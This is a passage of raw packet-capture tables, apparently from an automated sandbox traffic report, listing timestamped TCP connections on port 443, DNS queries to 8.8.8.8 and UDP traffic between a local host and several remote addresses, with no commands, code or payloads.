Oct 25, 2021 18:17:22.262459040 CEST	49743	443	192.168.2.3	142.250.203.109
Oct 25, 2021 18:17:22.277575016 CEST	49744	443	192.168.2.3	142.250.181.238
Oct 25, 2021 18:17:22.277618885 CEST	443	49744	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:22.281215906 CEST	49745	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:22.281241894 CEST	443	49745	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:22.297015905 CEST	49743	443	192.168.2.3	142.250.203.109
Oct 25, 2021 18:17:22.297055006 CEST	443	49743	142.250.203.109	192.168.2.3
Oct 25, 2021 18:17:22.363379002 CEST	443	49746	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:22.363432884 CEST	443	49746	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:22.363466024 CEST	443	49746	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:22.363496065 CEST	443	49746	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:22.363523006 CEST	443	49746	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:22.363564014 CEST	443	49746	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:22.364175081 CEST	49746	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:22.364201069 CEST	443	49746	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:22.364212990 CEST	49746	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:22.364217043 CEST	49746	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:22.367485046 CEST	443	49746	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:22.367542982 CEST	49746	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:22.367556095 CEST	443	49746	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:22.367583990 CEST	443	49746	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:22.367641926 CEST	49746	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:22.386970997 CEST	49745	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:22.749089003 CEST	49746	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:22.749114990 CEST	443	49746	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:22.891835928 CEST	49752	443	192.168.2.3	104.16.19.94
Oct 25, 2021 18:17:22.891855001 CEST	443	49752	104.16.19.94	192.168.2.3
Oct 25, 2021 18:17:22.891938925 CEST	49752	443	192.168.2.3	104.16.19.94
Oct 25, 2021 18:17:22.892456055 CEST	49752	443	192.168.2.3	104.16.19.94
Oct 25, 2021 18:17:22.892467022 CEST	443	49752	104.16.19.94	192.168.2.3
Oct 25, 2021 18:17:22.937716961 CEST	443	49752	104.16.19.94	192.168.2.3
Oct 25, 2021 18:17:22.943681002 CEST	49752	443	192.168.2.3	104.16.19.94

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2021 18:17:21.570163012 CEST	52806	53	192.168.2.3	8.8.8.8
Oct 25, 2021 18:17:21.573842049 CEST	53910	53	192.168.2.3	8.8.8.8
Oct 25, 2021 18:17:21.579152107 CEST	64021	53	192.168.2.3	8.8.8.8
Oct 25, 2021 18:17:21.586275101 CEST	53	52806	8.8.8.8	192.168.2.3
Oct 25, 2021 18:17:21.592181921 CEST	53	53910	8.8.8.8	192.168.2.3
Oct 25, 2021 18:17:21.605803013 CEST	53	64021	8.8.8.8	192.168.2.3
Oct 25, 2021 18:17:22.821840048 CEST	49572	53	192.168.2.3	8.8.8.8
Oct 25, 2021 18:17:22.823765993 CEST	52130	53	192.168.2.3	8.8.8.8
Oct 25, 2021 18:17:22.824618101 CEST	55102	53	192.168.2.3	8.8.8.8
Oct 25, 2021 18:17:22.836112022 CEST	56236	53	192.168.2.3	8.8.8.8
Oct 25, 2021 18:17:22.843285084 CEST	53	49572	8.8.8.8	192.168.2.3
Oct 25, 2021 18:17:22.865195036 CEST	53	56236	8.8.8.8	192.168.2.3
Oct 25, 2021 18:17:23.184401035 CEST	49559	53	192.168.2.3	8.8.8.8
Oct 25, 2021 18:17:23.204210043 CEST	53	49559	8.8.8.8	192.168.2.3
Oct 25, 2021 18:17:23.441365004 CEST	63297	53	192.168.2.3	8.8.8.8
Oct 25, 2021 18:17:23.867316961 CEST	58362	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:23.897490978 CEST	443	58362	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:23.899214029 CEST	58362	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:23.929493904 CEST	443	58362	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:23.929536104 CEST	443	58362	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:23.929558039 CEST	443	58362	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:23.929575920 CEST	443	58362	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:23.929985046 CEST	58362	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:23.932075024 CEST	58362	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:23.970593929 CEST	58362	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:23.971163034 CEST	58362	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:24.013431072 CEST	443	58362	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:24.013533115 CEST	443	58362	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:24.013612986 CEST	443	58362	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:24.013631105 CEST	443	58362	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:24.014246941 CEST	58362	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:24.014581919 CEST	58362	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:24.040836096 CEST	58362	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:33.924222946 CEST	56775	443	192.168.2.3	142.250.181.238
Oct 25, 2021 18:17:33.949590921 CEST	443	56775	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:33.950012922 CEST	56775	443	192.168.2.3	142.250.181.238
Oct 25, 2021 18:17:33.975162029 CEST	443	56775	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:33.975200891 CEST	443	56775	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:33.975224972 CEST	443	56775	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:33.975246906 CEST	443	56775	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:34.004497051 CEST	56775	443	192.168.2.3	142.250.181.238
Oct 25, 2021 18:17:34.011938095 CEST	443	56775	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:34.011980057 CEST	443	56775	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:34.012005091 CEST	443	56775	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:34.012027979 CEST	443	56775	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:34.036201954 CEST	56775	443	192.168.2.3	142.250.181.238
Oct 25, 2021 18:17:34.036878109 CEST	56775	443	192.168.2.3	142.250.181.238
Oct 25, 2021 18:17:34.037045956 CEST	56775	443	192.168.2.3	142.250.181.238
Oct 25, 2021 18:17:34.037134886 CEST	56775	443	192.168.2.3	142.250.181.238
Oct 25, 2021 18:17:34.037422895 CEST	56775	443	192.168.2.3	142.250.181.238
Oct 25, 2021 18:17:34.043903112 CEST	443	56775	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:34.043941021 CEST	443	56775	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:34.062736988 CEST	443	56775	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:34.074942112 CEST	443	56775	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:34.075022936 CEST	443	56775	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:34.075046062 CEST	443	56775	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:34.099880934 CEST	56775	443	192.168.2.3	142.250.181.238
Oct 25, 2021 18:17:34.100183964 CEST	56775	443	192.168.2.3	142.250.181.238
Oct 25, 2021 18:17:34.100383997 CEST	56775	443	192.168.2.3	142.250.181.238
Oct 25, 2021 18:17:34.105969906 CEST	443	56775	142.250.181.238	192.168.2.3
Oct 25, 2021 18:17:34.171655893 CEST	56775	443	192.168.2.3	142.250.181.238
Oct 25, 2021 18:17:37.115788937 CEST	60982	53	192.168.2.3	8.8.8.8
Oct 25, 2021 18:17:37.134380102 CEST	53	60982	8.8.8.8	192.168.2.3
Oct 25, 2021 18:17:37.140695095 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.169239044 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.169776917 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.198657990 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.198717117 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.198753119 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.198786020 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.199208021 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.200922012 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.238040924 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.238434076 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.279397964 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.280203104 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.282501936 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.282525063 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.282541037 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.282557011 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.282572031 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.282586098 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.282604933 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.282620907 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.282635927 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.282650948 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.282665014 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.282680035 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.282694101 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.283198118 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.283283949 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.283370018 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.283467054 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.283549070 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.283631086 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.284601927 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.284621000 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.284635067 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.284651041 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.285063028 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.285151005 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.287197113 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.287224054 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.287241936 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.287259102 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.287511110 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.287597895 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.289558887 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.289604902 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.289639950 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.289675951 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.289707899 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.289740086 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.289783001 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.289901972 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.290007114 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.291886091 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.291945934 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.291969061 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.291990042 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.292979002 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.293086052 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.293252945 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.293278933 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.293299913 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.293322086 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.293704033 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.293802977 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.295305014 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.295334101 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.295355082 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.295377016 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.296214104 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.296315908 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.296335936 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.296487093 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.299551964 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.299582005 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.299604893 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.299627066 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.299935102 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.300019026 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.301189899 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.301223040 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.301578045 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.303149939 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.303181887 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.303204060 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.303229094 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.303510904 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.303607941 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.303623915 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.303632021 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.304110050 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.305763960 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.305788040 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.305807114 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.305828094 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.305881023 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.305898905 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.306044102 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.306138039 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.306236029 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.307817936 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.307842970 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.307862043 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.307878017 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.308188915 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.308269024 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.309158087 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.309189081 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.309212923 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.309237003 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.309485912 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.309570074 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.309804916 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.309830904 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.310098886 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.312267065 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.312297106 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.312315941 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.312333107 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.312350988 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.312371016 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.312390089 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.312410116 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.312500954 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.312525034 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.312550068 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.312649012 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.312745094 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.312840939 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.312968969 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.314620018 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.314651012 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.314672947 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.314699888 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.314729929 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.314759016 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.314924002 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.315059900 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.315464020 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.316128969 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.316165924 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.316196918 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.316229105 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.316265106 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.316296101 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.316327095 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.316354990 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.316387892 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.316421032 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.316569090 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.316656113 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.316771984 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.316848993 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.317226887 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.317738056 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.317773104 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.317801952 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.317831039 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.317859888 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.317889929 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.317918062 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.317951918 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.317984104 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.318015099 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.318046093 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.318075895 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.318265915 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.319044113 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.319073915 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.319093943 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.319127083 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.319163084 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.319191933 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.319214106 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.319240093 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.319469929 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.319741011 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.319770098 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.319792032 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.319813013 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.320167065 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.320190907 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.320252895 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.320274115 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.321640968 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.321666956 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.321691990 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.321716070 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.321736097 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.321757078 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.321777105 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.321796894 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.321818113 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.322036982 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.322129965 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.322176933 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.322464943 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.322509050 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.322540045 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.322573900 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.322644949 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.324389935 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.324424028 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.324615955 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.324641943 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.325611115 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.325643063 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.325999022 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.326025009 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.326126099 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.326149940 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.326234102 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.328692913 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.328723907 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.328747988 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.328769922 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.328792095 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.328813076 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.328833103 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.328982115 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.329004049 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.329327106 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.331167936 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.331198931 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.331223965 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.331245899 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.331557035 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.331585884 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.332930088 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.332964897 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.332992077 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.333014965 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.333112955 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.333137035 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.333158970 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.333179951 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.333221912 CEST	443	60983	172.217.168.33	192.168.2.3
